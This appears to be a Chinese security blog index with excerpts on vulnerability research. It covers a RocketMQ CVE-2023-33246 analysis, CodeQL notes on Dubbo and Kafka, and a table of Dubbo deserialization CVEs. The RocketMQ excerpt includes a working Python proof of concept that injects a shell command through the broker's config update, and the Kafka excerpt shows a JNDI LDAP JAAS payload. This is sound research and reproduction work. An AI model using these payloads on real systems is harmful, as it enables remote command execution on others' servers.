RocketMQ CVE-2023-33246/CVE-2023-37582 漏洞分析

0x01 CVE-2023-33246

漏洞描述
RocketMQ 5.1.0及以下版本，在一定条件下，存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露，缺乏权限验证，攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外，攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。

影响版本
5.0.0 <= Apache RocketMQ < 5.1.1
4.0.0 <= Apache RocketMQ < 4.9.6

1.1 环境搭建

1
2
3
4
5
6
7
8
9
vim bin/runserver.sh
# 增加DEBUG JAVA OPT
JAVA_OPT="${JAVA_OPT} -Xdebug -Xrunjdwp:transport=dt_socket,address=5005,server=y,suspend=n"
vim bin/runbroker.sh
# 增加DEBUG JAVA OPT
JAVA_OPT="${JAVA_OPT} -Xdebug -Xrunjdwp:transport=dt_socket,address=5006,server=y,suspend=n"

./mqbroker -n 127.0.0.1:9876
./mqnamesrv

1.2 POC复现

1.2.1 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import socket
import binascii
client = socket.socket()
client.connect(('127.0.0.1',10911))
# data
json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
cmd = "-c $@| sh . echo echo 'touch /tmp/success_rocketmq' | bash -i"
body=f'filterServerNums=1\nnamesrvAddr=127.0.0.1:9876\nrocketmqHome={cmd}'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

1.2.2 疑问POC

参考【1】中的POC，执行总是会报错connect to 127.0.0.1:10911 failed，Google反馈的大都是配置broker，但是实际测试仍然报错。

TODO: 分析原因

more >>

CodeQL 升级V2.14踩坑

  • 升级前 v2.13.1
  • 升级后 v2.14.1

升级前kafka jass ql 运行得好好的，升级后跑不出来。。。
好在以前遇到过这种问题，大概率又是CodeQL 升级的锅

0x01 猜测1: databae问题

database是v2.10.4版本codeql create的

用v2.13.1 版本codeql create，发现再codeql v2.14.1 ql run仍然不行，无结果，尝试用v2.14.1构建db

用v2.14.1构建，发现仍然失败

more >>

《Apache Dubbo: All roads lead to RCE》CodeQL 笔记

《Apache Dubbo: All roads lead to RCE》算是最早公开利用CodeQL 挖掘漏洞的文章，能够半自动化漏洞挖掘，难怪pwntester 祖师爷的产出能够如此高效。

0x01 Dubbo背景

Dubbo 的漏洞原理可以参考上一篇文章。

环境：

  • Dubbo 2.7.8
  • Codeql 2.13.1

Codeql 一直在增加框架的支持，pwntester的这篇文章发布在2021年9月，在2023年5月2.13.1版本中，已经增加了对于Netty的Source支持。

more >>

Apache Dubbo 历史漏洞分析与总结

链接 描述 影响版本 作者
CVE-2019-17564 http协议，直接使用了Spring框架的HttpInvokerServiceExporter类做远程调用，而这个过程会读取POST请求的Body并进行反序列化 2.7.0<=Dubbo<=2.7.4
2.6.0<=Dubbo<=2.6.7
2.5.x		 Dor Tumarkin@Chekmarx
CVE-2020-1948 Dubbo默认hessian进行反序列化，未验证参数类型，任意object参数都会进行反序列化，实际修复不完整 2.7.0<=Dubbo<=2.7.6
2.6.0<=Dubbo<=2.6.7
2.5.x		 Ruilin
CVE-2020-11995 CVE-2020-1948 的绕过，参数类型验证保留了动态调用，$invoke\$invokeAsync\$echo 三个方法的参数仍然可例用，补丁修复仍然不全GHSL-2021-034、GHSL-2021-097 2.7.0<=Dubbo<=2.7.8
2.6.0<=Dubbo<=2.6.8
2.5.x
CVE-2021-25641 GHSL-2021-035 Dubbo除了支持hessian协议，还支持其他总共14协议，这些协议里面也有反序列化问题 dubbo-common<=2.7.3
2.7.0<=Dubbo<=2.7.8
2.6.0<=Dubbo<=2.6.8
2.5.x		 Alvaro Munoz@GitHub Security Lab
GHSL-2021-036 GHSL-2021-036 Dubbo中数据流有很多途径到达hessian#readObject，pwntester首次在这里提出这条链readUTF->readString->expect->readObject，这个和后续的CVE-2021-43297异曲同工，而且更短 3.0.0<=Dubbo<=3.0.5
2.7.0<=Dubbo<=2.7.15
2.6.0<=Dubbo<=2.6.12		 Alvaro Munoz@GitHub Security Lab
CVE-2021-30179 GHSL-2021-037/GHSL-2021-038 Dubbo支持动态调用，有几个特殊的函数：$invoke\$invokeAsync\$echo，这几个的逻辑在GenericFilter 中，这几个函数支持特定格式的参数，在还原和处理这几个函数时，支持pojo、bean、javanative等方式，会有setter/反序列化问题 2.7.0<=Dubbo<=2.7.9
2.6.0<=Dubbo<=2.6.9
2.5.x		 Alvaro Munoz@GitHub Security Lab
CVE-2021-32824 GHSL-2021-039 Dubbo支持Telnet，包括invoke 调用，原理和CVE-2021-30179 PojoUtils 利用类似 2.7.0<=Dubbo<=2.7.9
2.6.0<=Dubbo<=2.6.9
2.5.x		 Alvaro Munoz@GitHub Security Lab
CVE-2021-30180 1. GHSL-2021-040/GHSL-2021-041 Dubbo的路由实现支持多种，例如Tag路由、Condition路由，它两都支持动态配置，具体实现是以yml格式写入kafka配置中，再交由consumer去解析，consumer采用的是snakeyaml，存在反序列化漏洞。
2. GHSL-2021-043: Dubbo还支持动态配置，原理与router config类似，不过是由provider来加载，最终调用snakeyaml实现反序列化。		 2.7.0<=Dubbo<=2.7.9
2.6.0<=Dubbo<=2.6.9
2.5.x		 Alvaro Munoz@GitHub Security Lab
CVE-2021-30181 GHSL-2021-042 与上一个漏洞类似，还支持Script路由，Script引擎用的Nashorn，存在命令执行 2.7.0<=Dubbo<=2.7.9
2.6.0<=Dubbo<=2.6.9
2.5.x		 Alvaro Munoz@GitHub Security Lab
CVE-2021-36162 GHSL-2021-094 Dubbo在2.7.10中修复了snakeYaml的反序列化问题，但是3.0新Router机制Mesh中依然存在snakeYaml反序列化 3.0<=Dubbo<=3.0.1
2.7.0<=Dubbo<=2.7.12		 Alvaro Munoz@GitHub Security Lab
CVE-2021-36163 GHSL-2021-095 Dubbo还支持Hessian协议（并不是指反序列化），基于http，在HessianSkeleton 的处理中会对POST 的内容进行反序列化 3.0<=Dubbo<=3.0.1
2.7.0<=Dubbo<=2.7.12		 Alvaro Munoz@GitHub Security Lab
GHSL-2021-096 GHSL-2021-096 Dubbo还支持rmi协议，Dobbo的Provider类似RMI的Register和Provider，可以用Client攻击Register和Provider的方式进行攻击 3.0<=Dubbo<=3.0.1
2.7.0<=Dubbo<=2.7.12		 Alvaro Munoz@GitHub Security Lab
CVE-2021-37579 GHSL-2021-097 CodecSupport#checkSerialization bypass，该安全策略用于判断dubbo数据包指定的序列化方式是否是provider配置的配置，当version不存在时，会绕过检测漏洞 3.0<=Dubbo<=3.0.1
2.7.0<=Dubbo<=2.7.12		 Alvaro Munoz@GitHub Security Lab
CVE-2021-43297 hessian-lite 作为dubbo内置的hessian版本，在处理异常的时候，会通过”+”进行字符串拼接，导致其中obj的toString 隐式调用，形成反序列化(也可以认为是GHSL-2021-036的补充) 3.0.0<=Dubbo<=3.0.5
2.7.0<=Dubbo<=2.7.15
2.6.0<=Dubbo<=2.6.12		 cxc、yhbl、wh1t3p1g、fynch3r
CVE-2023-23638 CVE-2021-30179的绕过，可以利用setter设置全局静态配置变量，绕过安全规则 2.7.0<=Dubbo<=2.7.21
3.0.0<=Dubbo<=3.0.13
3.1.0<=Dubbo<=3.1.5		 yemoli、R1ckyZ、Koishi、cxc (reporter)
more >>

CodeQL 分析Apache Kafka CVE-2023-25194

CVE-2023-25194 是jaas 的通用问题，如果可以自定义jaas config，就可以触发漏洞。是否能够通过自动化发现该漏洞？如果可能，那么也就可以自动化横向分析类似问题。

本文假设读者师傅们已经能够简单使用codeql，比如codeql的source\sink概念，以及data-flow污点分析及其isAdditionalTaintStep的使用。

0x01 CVE-2023-25194

POC:
com.sun.security.auth.module.JndiLoginModule required user.provider.url="ldap://kafka2.1.dns.m0d9.me

more >>

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true